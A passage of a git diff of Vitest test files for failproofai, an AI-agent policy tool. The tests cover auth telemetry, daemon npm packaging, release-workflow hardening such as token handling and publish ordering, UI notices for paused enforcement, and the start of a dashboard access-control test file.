const fp = resolve(box, ".failproofai"); + mkdirSync(fp, { recursive: true }); + writeFileSync(resolve(fp, "VERSION"), `layout = ${LAYOUT_VERSION}\ncli = "test"\n`); + writeFileSync(resolve(fp, "config.toml"), "[audit]\nauto = true\ninterval_days = 7\n"); + + const out = run(box, "audit", "--scheduled"); + + expect(out.status).toBe(0); + expect(out.stdout).toContain("audit complete"); + expect(existsSync(resolve(fp, "config.toml"))).toBe(true); + }, SUBPROCESS_TIMEOUT_MS); +}); diff --git a/__tests__/auth/auth-cli-telemetry.test.ts b/__tests__/auth/auth-cli-telemetry.test.ts deleted file mode 100644 index bfa0a544..00000000 --- a/__tests__/auth/auth-cli-telemetry.test.ts +++ /dev/null @@ -1,145 +0,0 @@ -// @vitest-environment node -/** - * Reliability coverage for `failproofai auth` telemetry. The auth CLI emitted - * its events fire-and-forget (`void trackHookEvent(...)`); since the process - * exits after the command returns, the terminal login/logout/whoami events - * raced the exit and were dropped. The fix awaits the exit-adjacent events. - * - * Proof technique: trackHookEvent resolves on a macrotask and records into - * `resolvedEvents`. After `await runAuthCli(...)`, an awaited event will already - * be in the set; a fire-and-forget (regressed) one will not. - */ -import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; - -const resolvedEvents = new Set(); -let promptResponses: string[] = []; - -const h = vi.hoisted(() => ({ - trackHookEvent: vi.fn(), - readAuth: vi.fn(), - deleteAuth: vi.fn(), - writeAuth: vi.fn(), - logoutSession: vi.fn(async () => {}), - requestLoginCode: vi.fn(), - verifyLoginCode: vi.fn(), -})); - -vi.mock("../../src/hooks/hook-telemetry", () => ({ trackHookEvent: h.trackHookEvent })); -vi.mock("../../lib/telemetry-id", () => ({ getInstanceId: () => "test-instance" })); -vi.mock("../../lib/auth/auth-store", () => ({ - readAuth: h.readAuth, - deleteAuth: h.deleteAuth, - writeAuth: h.writeAuth, - authFromTokenResponse: (t: unknown) => t, -})); -vi.mock("../../lib/auth/api-server-client", () => ({ - logoutSession: h.logoutSession, - requestLoginCode: h.requestLoginCode, - verifyLoginCode: h.verifyLoginCode, - getApiBase: () => "https://api.test", - AuthApiError: class AuthApiError extends Error { - code: string; - status: number; - constructor(code: string, status: number, message: string) { - super(message); - this.code = code; - this.status = status; - } - }, -})); -vi.mock("node:readline", () => ({ - createInterface: () => ({ - question: (_q: string, cb: (a: string) => void) => cb(promptResponses.shift() ?? ""), - close: () => {}, - }), -})); - -import { runAuthCli } from "../../src/auth/cli"; - -const session = { user: { id: "u1", email: "a@b.com" }, refresh_expires_at: 9_999_999_999 }; -const names = () => h.trackHookEvent.mock.calls.map((c) => c[1] as string); - -beforeEach(() => { - vi.clearAllMocks(); - resolvedEvents.clear(); - promptResponses = []; - process.exitCode = 0; - h.trackHookEvent.mockImplementation( - (_id: string, name: string) => - new Promise((res) => - setTimeout(() => { - resolvedEvents.add(name); - res(); - }, 5), - ), - ); - vi.spyOn(process.stdout, "write").mockImplementation(() => true); -}); - -afterEach(() => { - vi.restoreAllMocks(); - process.exitCode = 0; -}); - -describe("failproofai auth telemetry (awaited before exit)", () => { - it("whoami (signed in) awaits audit_cli_auth_whoami", async () => { - h.readAuth.mockReturnValue(session); - await runAuthCli(["whoami"]); - expect(names()).toEqual(["audit_cli_auth_whoami"]); - expect(h.trackHookEvent).toHaveBeenCalledWith( - "test-instance", - "audit_cli_auth_whoami", - expect.objectContaining({ authenticated: true }), - ); - expect(resolvedEvents.has("audit_cli_auth_whoami")).toBe(true); - }); - - it("whoami (not signed in) awaits the event and sets exit code 1", async () => { - h.readAuth.mockReturnValue(null); - await runAuthCli(["whoami"]); - expect(h.trackHookEvent).toHaveBeenCalledWith( - "test-instance", - "audit_cli_auth_whoami", - expect.objectContaining({ authenticated: false }), - ); - expect(resolvedEvents.has("audit_cli_auth_whoami")).toBe(true); - expect(process.exitCode).toBe(1); - }); - - it("logout (with session) awaits audit_cli_auth_logout_completed and wipes auth", async () => { - h.readAuth.mockReturnValue(session); - await runAuthCli(["logout"]); - expect(names()).toContain("audit_cli_auth_logout_completed"); - expect(h.deleteAuth).toHaveBeenCalledTimes(1); - expect(resolvedEvents.has("audit_cli_auth_logout_completed")).toBe(true); - }); - - it("logout (no session) awaits the no-op event", async () => { - h.readAuth.mockReturnValue(null); - await runAuthCli(["logout"]); - expect(h.trackHookEvent).toHaveBeenCalledWith( - "test-instance", - "audit_cli_auth_logout_completed", - expect.objectContaining({ had_session: false }), - ); - expect(resolvedEvents.has("audit_cli_auth_logout_completed")).toBe(true); - }); - - it("login success awaits the terminal login_completed event", async () => { - h.readAuth.mockReturnValue(null); - promptResponses = ["a@b.com", "123456"]; - h.requestLoginCode.mockResolvedValue({ status: "sent", expires_in: 600, resend_available_in: 30 }); - h.verifyLoginCode.mockResolvedValue({ user: { id: "u1", email: "a@b.com" } }); - - await runAuthCli(["login"]); - - const emitted = names(); - expect(emitted).toContain("audit_cli_auth_login_started"); // fire-and-forget (mid-flow) - expect(emitted).toContain("audit_otp_verified"); - expect(emitted).toContain("audit_user_identity_linked"); - expect(emitted).toContain("audit_cli_auth_login_completed"); - expect(h.writeAuth).toHaveBeenCalledTimes(1); - // The terminal event (followed by return -> process exit) must be awaited. - expect(resolvedEvents.has("audit_cli_auth_login_completed")).toBe(true); - }); -}); diff --git a/__tests__/ci/daemon-packages.test.ts b/__tests__/ci/daemon-packages.test.ts new file mode 100644 index 00000000..817cdebd --- /dev/null +++ b/__tests__/ci/daemon-packages.test.ts @@ -0,0 +1,227 @@ +// @vitest-environment node +/** + * The npm side of the daemon's packaging. + * + * These four packages are the one thing in the release that cannot be + * partially correct: the root package pins them as `optionalDependencies`, so + * a name that is wrong, unpublished, or filtered onto the wrong machine is a + * 404 or a missing daemon in every install. That already happened once — the + * pins shipped before anything published them (CHANGELOG 1.0.0-beta.3) — so + * the manifest shape, the platform filters and the pins are asserted here + * rather than discovered on the registry. + */ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { existsSync, mkdtempSync, readFileSync, rmSync, statSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve } from "node:path"; +import { createHash } from "node:crypto"; +import { gzipSync } from "node:zlib"; +import { + DAEMON_PLATFORMS, + daemonAssetName, + daemonOptionalDependencies, + daemonPackageName, +} from "../../scripts/daemon-platforms.mjs"; +import { + STAGING_DIR, + pinRootManifest, + platformPackageManifest, + stagePlatformPackage, + stagedBinaryDigest, +} from "../../scripts/build-daemon-packages.mjs"; +import { aliasManifest, ALIASES } from "../../scripts/publish-aliases.mjs"; + +const VERSION = "9.9.9-beta.1"; +const ROOT_PKG = { + repository: { type: "git", url: "git+https://github.com/FailproofAI/failproofai.git" }, + homepage: "https://failproof.ai", + bugs: { url: "https://github.com/FailproofAI/failproofai/issues" }, + license: "MIT", +}; + +describe("scripts/daemon-platforms", () => { + it("covers exactly the four cross-compiled platforms", () => { + expect(DAEMON_PLATFORMS.map((p) => p.key).sort()).toEqual([ + "darwin-arm64", + "darwin-x64", + "linux-arm64", + "linux-x64", + ]); + }); + + it("names packages and release assets from the same key", () => { + expect(daemonPackageName("linux-x64")).toBe("@failproofai/failproofaid-linux-x64"); + expect(daemonAssetName("linux-x64")).toBe("failproofaid-linux-x64.gz"); + }); + + it("pins every platform at one version", () => { + const deps = daemonOptionalDependencies(VERSION); + expect(Object.keys(deps)).toHaveLength(4); + expect(new Set(Object.values(deps))).toEqual(new Set([VERSION])); + expect(deps["@failproofai/failproofaid-darwin-arm64"]).toBe(VERSION); + }); +}); + +describe("platformPackageManifest", () => { + it("sets the os/cpu filters npm uses to install exactly one of the four", () => { + for (const platform of DAEMON_PLATFORMS) { + const manifest = platformPackageManifest(platform, VERSION, ROOT_PKG); + expect(manifest.os).toEqual([platform.os]); + expect(manifest.cpu).toEqual([platform.cpu]); + expect(manifest.name).toBe(daemonPackageName(platform.key)); + expect(manifest.version).toBe(VERSION); + expect(manifest.files).toEqual(["bin/"]); + expect(manifest.publishConfig).toEqual({ access: "public" }); + expect(manifest.license).toBe("MIT"); + } + }); + + it("declares no bin — it must not shadow the root package's failproofaid shim", () => { + const manifest = platformPackageManifest(DAEMON_PLATFORMS[0], VERSION, ROOT_PKG); + expect(manifest).not.toHaveProperty("bin"); + }); + + it("declares no exports — the CLI resolves /package.json to find the binary", () => { + const manifest = platformPackageManifest(DAEMON_PLATFORMS[0], VERSION, ROOT_PKG); + expect(manifest).not.toHaveProperty("exports"); + }); +}); + +describe("stagePlatformPackage", () => { + let staging: string; + let artifacts: string; + + beforeEach(() => { + staging = mkdtempSync(resolve(tmpdir(), "fpai-staging-")); + artifacts = mkdtempSync(resolve(tmpdir(), "fpai-artifacts-")); + }); + + afterEach(() => { + rmSync(staging, { recursive: true, force: true }); + rmSync(artifacts, { recursive: true, force: true }); + }); + + it("decompresses the release asset into an executable bin/failproofaid", () => { + const binary = Buffer.from("#!/bin/sh\necho failproofaid\n"); + for (const platform of DAEMON_PLATFORMS) { + writeFileSync(resolve(artifacts, daemonAssetName(platform.key)), gzipSync(binary)); + } + + for (const platform of DAEMON_PLATFORMS) { + const dir = stagePlatformPackage(platform, VERSION, ROOT_PKG, artifacts, staging); + const binaryPath = resolve(dir, "bin", "failproofaid"); + expect(readFileSync(binaryPath)).toEqual(binary); + // npm records the executable bit in the tarball; without it the service + // manager gets a file it cannot exec. + expect(statSync(binaryPath).mode & 0o111).not.toBe(0); + expect(JSON.parse(readFileSync(resolve(dir, "package.json"), "utf8")).name).toBe( + daemonPackageName(platform.key), + ); + expect(existsSync(resolve(dir, "README.md"))).toBe(true); + } + }); + + it("digests the bytes that were actually staged", () => { + // The digest the root manifest records, and the one installFromNpmPackage + // checks against, must describe the file that ships — not the artifact it + // was decompressed from. Read back off disk for exactly that reason. + const binary = Buffer.from("#!/bin/sh\necho failproofaid\n"); + for (const platform of DAEMON_PLATFORMS) { + writeFileSync(resolve(artifacts, daemonAssetName(platform.key)), gzipSync(binary)); + } + const dir = stagePlatformPackage(DAEMON_PLATFORMS[0], VERSION, ROOT_PKG, artifacts, staging); + + expect(stagedBinaryDigest(dir)).toBe(createHash("sha256").update(binary).digest("hex")); + }); + + it("fails loudly when the daemon build did not produce an artifact", () => { + expect(() => stagePlatformPackage(DAEMON_PLATFORMS[0], VERSION, ROOT_PKG, artifacts, staging)).toThrow( + /missing artifact/, + ); + }); + + it("stages outside the repo, where a rebuild cannot sweep it into the tarball", () => { + // `npm publish` re-runs `prepare`, and Next's file tracing pulls the whole + // project root into `.next/standalone` — staging inside the checkout put + // 16 MB of daemon .gz assets inside the published CLI tarball once. + const repoRoot = resolve(__dirname, "..", ".."); + expect(STAGING_DIR.startsWith(repoRoot)).toBe(false); + }); +}); + +describe("pinRootManifest", () => { + let dir: string; + let manifestPath: string; + + beforeEach(() => { + dir = mkdtempSync(resolve(tmpdir(), "fpai-pin-")); + manifestPath = resolve(dir, "package.json"); + writeFileSync( + manifestPath, + JSON.stringify({ name: "failproofai", version: VERSION, dependencies: { yaml: "2.0.0" } }, null, 2), + ); + }); + + afterEach(() => rmSync(dir, { recursive: true, force: true })); + + it("adds the four pins without disturbing the rest of the manifest", () => { + const pins = pinRootManifest(VERSION, manifestPath); + const written = JSON.parse(readFileSync(manifestPath, "utf8")); + + expect(pins).toEqual(daemonOptionalDependencies(VERSION)); + expect(written.optionalDependencies).toEqual(daemonOptionalDependencies(VERSION)); + expect(written.dependencies).toEqual({ yaml: "2.0.0" }); + expect(written.version).toBe(VERSION); + }); + + it("records the binary digests, in the ROOT manifest", () => { + // Deliberately not in each platform package: a digest shipped alongside the + // bytes it describes verifies nothing. This one travels in a different + // package, published separately, and `bun build` inlines it into + // dist/cli.mjs — so it is not merely a second file the same writer edits. + const digests = { "linux-x64": "a".repeat(64), "darwin-arm64": "b".repeat(64) }; + pinRootManifest(VERSION, manifestPath, digests); + + const written = JSON.parse(readFileSync(manifestPath, "utf8")); + expect(written.failproofaidBinaries).toEqual(digests); + // Still does its original job. + expect(written.optionalDependencies).toEqual(daemonOptionalDependencies(VERSION)); + }); + + it("omits the digests entirely rather than writing an empty map", () => { + // A publish that recorded nothing must leave the key ABSENT, because + // `expectedNpmBinaryDigest` reads absence as "nothing to compare against". + // An empty object would mean the same thing today and is easy to mistake + // for "verified" later. + pinRootManifest(VERSION, manifestPath); + expect(JSON.parse(readFileSync(manifestPath, "utf8")).failproofaidBinaries).toBeUndefined(); + }); + + it("pins at the version being published, not whatever the manifest carries", () => { + // A release from a tag publishes a version the committed manifest does not + // have yet; a pin to the old one would resolve a package that was never + // published for it. (Always pass the path explicitly — the default is the + // real repo manifest.) + const pins = pinRootManifest("1.2.3", manifestPath); + expect(new Set(Object.values(pins))).toEqual(new Set(["1.2.3"])); + expect(JSON.parse(readFileSync(manifestPath, "utf8")).version).toBe(VERSION); + }); +}); + +describe("alias stubs", () => { + it("pins the same four platform packages every typo'd name would need", () => { + const manifest = aliasManifest("failproof-ai", VERSION, ROOT_PKG); + expect(manifest.dependencies).toEqual({ failproofai: VERSION }); + expect(manifest.optionalDependencies).toEqual(daemonOptionalDependencies(VERSION)); + }); + + it("still proxies to the real CLI from every alias", () => { + for (const name of ALIASES) { + const manifest = aliasManifest(name, VERSION, ROOT_PKG); + expect(manifest.name).toBe(name); + expect(manifest.bin).toEqual({ [name]: "./bin/proxy.js" }); + expect(manifest.optionalDependencies).toEqual(daemonOptionalDependencies(VERSION)); + } + expect(ALIASES.length).toBeGreaterThan(10); + }); +}); diff --git a/__tests__/ci/release-pipeline.test.ts b/__tests__/ci/release-pipeline.test.ts index 94630557..a772a753 100644 --- a/__tests__/ci/release-pipeline.test.ts +++ b/__tests__/ci/release-pipeline.test.ts @@ -13,6 +13,11 @@ * - the npm publish happens AFTER the release assets are attached (the * installed CLI downloads its daemon from that release tag, so publishing * the package first ships a version whose binary does not exist yet); + * - the four @failproofai/failproofaid- packages publish BEFORE + * the root package that pins them as optionalDependencies — reversed, the + * root package spends the gap (or forever, on a failure) resolving 404s, + * which is the exact way the first attempt at this shipped broken; + * - the CLI tarball is built and attached on every release, daemon or not; * - the main-version bump only runs for a release or a dispatch from main * (it checks main out and pushes to it, regardless of the dispatched ref); * - build-daemon.yml stays callable and is not also triggered standalone on @@ -21,8 +26,8 @@ * beta/next builds stay open to anyone with write access (deleting that * step is a one-line change that nothing else would notice); * - the platform list in the build matrix matches the platforms the CLI - * actually knows how to resolve — a missing leg is a platform that - * silently gets no daemon. + * actually knows how to resolve AND the packages the publish scripts + * generate — a missing leg is a platform that silently gets no daemon. */ import { describe, it, expect } from "vitest"; import { spawnSync } from "node:child_process"; @@ -136,6 +141,96 @@ describe("publish.yml", () => { expect(scripts).toContain('DIST_TAG="next"'); }); + it("refuses to start when the version is already on the registry", () => { + // A workflow_dispatch has no version input — PUBLISH_VERSION is whatever + // package.json carries — so dispatching from a feature branch routinely + // targets a version that shipped long ago. The root package publishes + // LAST, so without this guard the run gets all the way through the + // cross-compile matrix, the asset upload, and the four platform-package + // publishes before npm rejects the root package with E403, stranding four + // orphan @failproofai/failproofaid-- versions on the registry + // that nothing pins and nobody can unpublish after 72 hours. That is + // exactly what run 30906933501 did at 1.0.0-beta.0. + const guard = wf.jobs.preflight.steps.find( + (s: Record) => s.name === "Verify the version is unpublished", + ); + expect(guard).toBeDefined(); + expect(guard.run).toContain('npm view "failproofai@$PUBLISH_VERSION"'); + expect(guard.run).toContain("exit 1"); + // Every other job needs preflight, so failing here costs seconds and + // publishes nothing. + expect(wf.jobs.daemon.needs).toContain("preflight"); + expect(wf.jobs.publish.needs).toContain("preflight"); + // Deliberately ungated: a dry run whose version is burned is a dry run + // that validated a release which cannot happen. + expect(guard.if).toBeUndefined(); + }); + + it("verifies every package landed on the registry at one version", () => { + // Construction already guarantees lockstep — root, platform packages and + // aliases all take the same PUBLISH_VERSION — so this asserts the check on + // the thing construction cannot cover: a PARTIAL run. Both halves of the + // split have shipped once each. beta.1-3 published the CLI with no + // platform packages behind it (the publish step did not exist yet), and + // beta.0 published four platform packages whose CLI was already on the + // registry without pins to them. Each run reported success. + const steps = wf.jobs.publish.steps.map((s: Record) => s.name ?? s.uses); + const verify = wf.jobs.publish.steps.find( + (s: Record) => s.name === "Verify every package published at the same version", + ); + expect(verify).toBeDefined(); + // Must run after every publish step, or it verifies a state that is still + // being written. + for (const publishStep of ["Publish", "Publish the failproofaid platform packages"]) { + expect(steps.indexOf(publishStep)).toBeLessThan(steps.indexOf(verify.name)); + } + for (const platform of PLATFORMS) { + expect(verify.run).toContain(platform); + } + // The pins are written at publish time, so a root package that resolved + // while pointing at another version is a silent downgrade of the daemon. + expect(verify.run).toContain("optionalDependencies"); + expect(verify.run).toContain("exit 1"); + // Nothing was published in a dry run, so there is nothing to verify. + expect(verify.if).toContain("dry_run != 'true'"); + // The registry is a read-through cache — propagation must not read as a + // failed publish, and a failed publish must not wait forever. + expect(verify.run).toContain("for DELAY in 0 10 30 60 120"); + }); + + it("installs the published packages from the registry, once per platform", () => { + // The last word on whether a release reached users. `npm view` proves a + // manifest is queryable; it does not prove the tarball is fetchable, that + // the os/cpu filters resolve the right platform package on the machine it + // is for, that the executable bit survived publish -> install, or that the + // binary matches the CLI beside it. Each of those fails while every + // manifest query still reads as healthy. + const job = wf.jobs["verify-install"]; + expect(job).toBeDefined(); + // After the publish, and skipped when nothing was published. + expect(job.needs).toContain("publish"); + expect(job.if).toContain("dry_run != 'true'"); + + // npm installs the ONE platform package matching the runner's os/cpu and + // skips the other three, so a single-runner check verifies a quarter of + // what shipped. Each leg must also be native to its own target. + const legs = job.strategy.matrix.include; + expect(legs.map((l: Record) => l.platform).sort()).toEqual([...PLATFORMS].sort()); + expect(legs.every((l: Record) => l.os)).toBe(true); + expect(job.strategy["fail-fast"]).toBe(false); + + const scripts = runScripts(job); + expect(scripts).toContain("npm install -g"); + expect(scripts).toContain("for DELAY in 0 10 30 60 120"); + // A real invocation of both binaries, not just a file-exists check. + expect(scripts).toContain("failproofai --version"); + expect(scripts).toContain('"$BIN" --version'); + expect(scripts).toContain('[ -x "$BIN" ]'); + // Resolved the way the CLI resolves it at runtime, so a package that + // exists but does not resolve for this machine still fails. + expect(scripts).toContain("createRequire"); + }); + const stableGuard = () => wf.jobs.preflight.steps.find((s: Record) => s.name === "Authorize stable release"); @@ -229,12 +324,91 @@ describe("publish.yml", () => { const bump = wf.jobs.publish.steps.find( (s: Record) => s.name === "Bump version for next development cycle", ); - expect(bump.run).toContain("git push origin main"); + // Pushes to main — but with the app token supplied to this one command + // rather than persisted into `.git/config` by the checkout, where it would + // sit readable through `bun install`'s `prepare` build and every dependency + // lifecycle script. It is a ruleset-bypass credential; its exposure window + // should be one `git push`, not the whole job. + expect(bump.run).toContain("HEAD:main"); + expect(bump.run).toContain("APP_TOKEN"); + expect(bump.env?.APP_TOKEN).toContain("app-token"); expect(bump.if).toContain("github.event_name == 'release'"); expect(bump.if).toContain("github.ref_name == 'main'"); expect(bump.if).toContain("dry_run != 'true'"); }); + it("bumps the Cargo workspace version alongside package.json", () => { + // `ci.yml`'s version-consistency job compares Cargo.toml's + // [workspace.package] version against root package.json, and this commit + // carries `[skip ci]` — so a bump that moved only package.json left main + // red, and the failure surfaced on the NEXT, unrelated PR as + // "Version mismatch: Cargo.toml has , expected ". Every release + // did it. + const bump = wf.jobs.publish.steps.find( + (s: Record) => s.name === "Bump version for next development cycle", + ); + expect(bump.run).toContain("Cargo.toml"); + // The lockfile pins both crates by the workspace version, so leaving it + // behind breaks any `--locked` build. + expect(bump.run).toContain("cargo update --workspace"); + expect(bump.run).toContain("git add package.json Cargo.toml Cargo.lock"); + }); + + it("serializes overlapping runs", () => { + // Two entry points can fire for one version. Without this, both pass the + // preflight's "already published" check before either publishes, and the + // bump step's unguarded `git push origin main` loses outright for one of + // them. Never cancel-in-progress: the assets attach before the npm publish, + // so a run killed between them leaves a tag with binaries and no package. + // + // The group must NOT be keyed on the ref. The two triggers never share + // one — `release: published` runs as `refs/tags/vX.Y.Z` and + // `workflow_dispatch` as `refs/heads/main` — so `publish-${{ github.ref }}` + // placed the exact pair this exists to serialize into different groups and + // queued neither. Nothing here is per-ref: the bump races on `main` + // whichever ref produced the run. + expect(wf.concurrency?.group).toBe("publish"); + expect(wf.concurrency?.group).not.toContain("github.ref"); + expect(wf.concurrency?.["cancel-in-progress"]).toBe(false); + }); + + it("never leaves the ruleset-bypass token on disk while build scripts run", () => { + // The publish job checks out with the version-bot App token, which bypasses + // the org ruleset's PR-and-review requirement on `main`. Persisting it + // writes it into `.git/config` for the whole job — and the very next step + // is `bun install`, which runs `prepare` (a full Next build) plus every + // dependency lifecycle script, all long before the one step at the end that + // needs the token. `ci.yml` and `build-daemon.yml` were hardened for the + // identical risk with the WEAKER default token; this job was missed. + const checkout = wf.jobs.publish.steps.find((s: Record) => + String(s.uses ?? "").startsWith("actions/checkout"), + ); + expect(checkout.with?.["persist-credentials"]).toBe(false); + expect(checkout.with?.token).toBeUndefined(); + }); + + it("keeps the npm token out of the build toolchain", () => { + // `npm publish` runs `prepare` — a full `next build` — and that inherits + // the publishing step's environment, so NODE_AUTH_TOKEN was exported into + // the bundler and every dependency it loads. The build is done as its own + // step (it must still happen AFTER `npm version`, because `bun build` + // inlines package.json's version into dist/cli.mjs and daemon-download.ts + // derives the release URL from it), and the publish then skips scripts. + const steps = wf.jobs.publish.steps as Record[]; + const buildIdx = steps.findIndex((s) => s.name === "Build the tarball contents"); + const publishIdx = steps.findIndex((s) => s.name === "Publish"); + const versionIdx = steps.findIndex((s) => s.name === "Set publish version in package.json"); + + expect(buildIdx).toBeGreaterThan(versionIdx); + expect(publishIdx).toBeGreaterThan(buildIdx); + // The build step must not carry a registry credential. + expect(JSON.stringify(steps[buildIdx].env ?? {})).not.toContain("NPM_TOKEN"); + // And every `npm publish` invocation must skip the lifecycle scripts. + for (const line of String(steps[publishIdx].run).split("\n")) { + if (line.includes("npm publish")) expect(line).toContain("--ignore-scripts"); + } + }); + it("verifies the release carries every platform binary", () => { const scripts = runScripts(wf.jobs["release-assets"]); expect(scripts).toContain("SHA256SUMS"); @@ -243,9 +417,79 @@ describe("publish.yml", () => { expect(scripts).toContain('"$COUNT" -ne 4'); }); + it("publishes the platform packages before the root package that pins them", () => { + const steps = wf.jobs.publish.steps.map((s: Record) => s.name ?? s.uses); + const platforms = steps.indexOf("Publish the failproofaid platform packages"); + const root = steps.indexOf("Publish"); + expect(platforms).toBeGreaterThan(-1); + // An optionalDependency npm cannot resolve is a 404 in every install. + expect(platforms).toBeLessThan(root); + + const step = wf.jobs.publish.steps.find( + (s: Record) => s.name === "Publish the failproofaid platform packages", + ); + expect(step.run).toContain("scripts/build-daemon-packages.mjs"); + // The same invocation writes the pins, so the two can never disagree. + expect(step.run).toContain("--pin-root"); + expect(step.run).toContain("--version"); + // Skipped wholesale on a ref that builds no daemon, or the root package + // would pin four packages this run never published. + expect(step.if).toContain("needs.daemon.result == 'success'"); + + const download = wf.jobs.publish.steps.find( + (s: Record) => s.name === "Download the daemon binaries", + ); + expect(download.with.pattern).toBe("failproofaid-*"); + expect(download.if).toContain("needs.daemon.result == 'success'"); + // NOT into the checkout: `npm publish` re-runs `prepare`, and Next's file + // tracing sweeps the whole project root into `.next/standalone`. A dry run + // with these in the workspace shipped 16 MB of daemon .gz assets inside + // the published CLI tarball. + expect(download.with.path).toContain("runner.temp"); + }); + + it("builds and attaches the CLI tarball on every release, daemon or not", () => { + const tarball = wf.jobs["cli-tarball"]; + expect(tarball.needs).toBe("preflight"); + // Deliberately NOT gated on has_daemon: the CLI artifact is how anyone + // installs failproofai without the npm registry. + expect(JSON.stringify(tarball.if ?? "")).not.toContain("has_daemon"); + + const scripts = runScripts(tarball); + // Packed at the version being published — an asset named for a version it + // does not contain is worse than no asset. + expect(scripts).toContain("npm version"); + expect(scripts).toContain("npm pack --ignore-scripts"); + const upload = tarball.steps.find((s: Record) => + String(s.uses ?? "").startsWith("actions/upload-artifact"), + ); + expect(upload.with.name).toBe("failproofai-tarball"); + expect(upload.with["if-no-files-found"]).toBe("error"); + + expect(wf.jobs["release-assets"].needs).toContain("cli-tarball"); + const assetScripts = runScripts(wf.jobs["release-assets"]); + expect(assetScripts).toContain("sha256sum failproofai-*.tgz"); + // A tarball-less release must fail rather than quietly ship four binaries + // and no CLI. + expect(assetScripts).toContain("No CLI tarball to attach"); + }); + + it("never publishes when the CLI tarball build failed", () => { + // cli-tarball runs the same build the publish job publishes, so a failure + // there is never "nothing to do" — and a failed dependency leaves its + // dependents `skipped`, which the daemon clause already tolerates. + expect(wf.jobs.publish.needs).toContain("cli-tarball"); + expect(wf.jobs.publish.if).toContain("needs.cli-tarball.result == 'success'"); + expect(wf.jobs["release-assets"].if).toContain("needs.cli-tarball.result == 'success'"); + }); + it("writes nothing to npm or the repo on a dry run", () => { const publishStep = wf.jobs.publish.steps.find((s: Record) => s.name === "Publish"); expect(publishStep.run).toContain("npm publish --dry-run"); + const platformStep = wf.jobs.publish.steps.find( + (s: Record) => s.name === "Publish the failproofaid platform packages", + ); + expect(platformStep.run).toContain("--dry-run"); const assets = wf.jobs["release-assets"].steps.find( (s: Record) => s.name === "Attach assets to the release", ); @@ -274,4 +518,19 @@ describe("pipeline / CLI agreement", () => { expect([...declared].sort()).toEqual([...built].sort()); }, ); + + it.skipIf(!existsSync(DAEMON_SERVICE))( + "publishes an npm package for every platform the CLI knows how to resolve", + async () => { + const source = readFileSync(DAEMON_SERVICE, "utf8"); + const union = source.match(/type PlatformKey =([^;]+);/)?.[1] ?? ""; + const declared = [...union.matchAll(/"([a-z0-9-]+)"/g)].map((m) => m[1]); + + const { DAEMON_PLATFORMS } = await import("../../scripts/daemon-platforms.mjs"); + // A platform missing from the publish list is one whose users get no + // binary from npm and silently fall back to the download — or, if the + // download is blocked, no daemon at all. + expect(DAEMON_PLATFORMS.map((p: { key: string }) => p.key).sort()).toEqual([...declared].sort()); + }, + ); }); diff --git a/__tests__/components/pause-notices.test.tsx b/__tests__/components/pause-notices.test.tsx new file mode 100644 index 00000000..b927ad5b --- /dev/null +++ b/__tests__/components/pause-notices.test.tsx @@ -0,0 +1,110 @@ +import { describe, it, expect, vi } from "vitest"; +import { render, screen } from "@testing-library/react"; +import { PausedBanner, PausedNote, PausedPill, formatRemaining } from "@/app/components/pause-notices"; + +vi.mock("lucide-react", () => ({ + ShieldAlert: (props: Record) => , + TriangleAlert: (props: Record) => , +})); + +const NOW = 1_700_000_000_000; +const pause = ( + over: Partial<{ + sessionId: string; + expiresAt: number; + pausedAt: number; + firstPausedAt: number; + setBy: string; + }> = {}, +) => ({ + sessionId: "s1", + pausedAt: NOW, + // Equal to `pausedAt` for a pause that was never renewed. The two differ + // only across a renewal, which is what the 8h ceiling is measured from. + firstPausedAt: NOW, + expiresAt: NOW + 20 * 60_000, + setBy: "cli", + ...over, +}); + +describe("formatRemaining", () => { + it("renders minutes and hours, and never a negative", () => { + expect(formatRemaining(20 * 60_000)).toBe("20m"); + expect(formatRemaining(90 * 60_000)).toBe("1h30m"); + expect(formatRemaining(2 * 3_600_000)).toBe("2h"); + expect(formatRemaining(30_000)).toBe("under a minute"); + expect(formatRemaining(0)).toBe("expiring now"); + expect(formatRemaining(-5000)).toBe("expiring now"); + }); +}); + +describe("PausedBanner", () => { + it("renders nothing when nothing is paused — absence must mean enforcing", () => { + const { container } = render(); + expect(container).toBeEmptyDOMElement(); + }); + + it("renders nothing when every pause has already expired", () => { + // A short pause can lapse between polls; the banner must not outlive it and + // claim the machine is unguarded when it is not. + const { container } = render(); + expect(container).toBeEmptyDOMElement(); + }); + + it("announces an active pause with the time left", () => { + render(); + expect(screen.getByRole("status")).toHaveTextContent(/Enforcement is paused for 1 session/); + expect(screen.getByRole("status")).toHaveTextContent(/20m left/); + }); + + it("counts only live pauses and reports the soonest to expire", () => { + render( + , + ); + const banner = screen.getByRole("status"); + expect(banner).toHaveTextContent(/paused for 2 sessions/); + expect(banner).toHaveTextContent(/5m left on the next to expire/); + }); + + it("says cloud policies keep enforcing, and how to end it early", () => { + // Both facts are load-bearing: without the first the banner overstates how + // exposed the machine is, and without the second the only visible exit is + // waiting. + render(); + const banner = screen.getByRole("status"); + expect(banner).toHaveTextContent(/cloud-managed policies keep enforcing/i); + expect(banner).toHaveTextContent(/failproofai config --resume/); + }); +}); + +describe("PausedNote", () => { + it("renders nothing for an ordinary row", () => { + const { container } = render(); + expect(container).toBeEmptyDOMElement(); + }); + + it("explains that the row was not enforced", () => { + render(); + expect(screen.getByText(/Not enforced — paused\./)).toBeInTheDocument(); + }); + + it("tolerates a row with no expiry recorded", () => { + render(); + expect(screen.getByText(/Not enforced — paused\./)).toBeInTheDocument(); + }); +}); + +describe("PausedPill", () => { + it("labels the row and explains itself on hover", () => { + render(); + const pill = screen.getByText("paused"); + expect(pill).toHaveAttribute("title", expect.stringMatching(/local policies did not run/)); + }); +}); diff --git a/__tests__/dashboard-lockdown.test.ts b/__tests__/dashboard-lockdown.test.ts new file mode 100644 index 00000000..5ec4ab9f --- /dev/null +++ b/__tests__/dashboard-lockdown.test.ts @@ -0,0 +1,283 @@ +// @vitest-environment node +/** + * The local dashboard's access control. + * + * These tests encode real exploits, not shapes. The dashboard has no + * authentication and can toggle policies and uninstall failproofai's hooks from + * every agent CLI, so each case below is written as "the attack that would + * work", and passing means it no longer does. + */ +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; +import { NextRequest } from "next/server"; +import { proxy } from "@/proxy"; +import { + DEFAULT_DASHBOARD_HOST, + hostnameFromHostHeader, + hostnameFromOrigin, + isLoopbackHostname, + resolveDashboardHost, +} from "@/lib/dashboard-host"; + +const ORIGINAL = 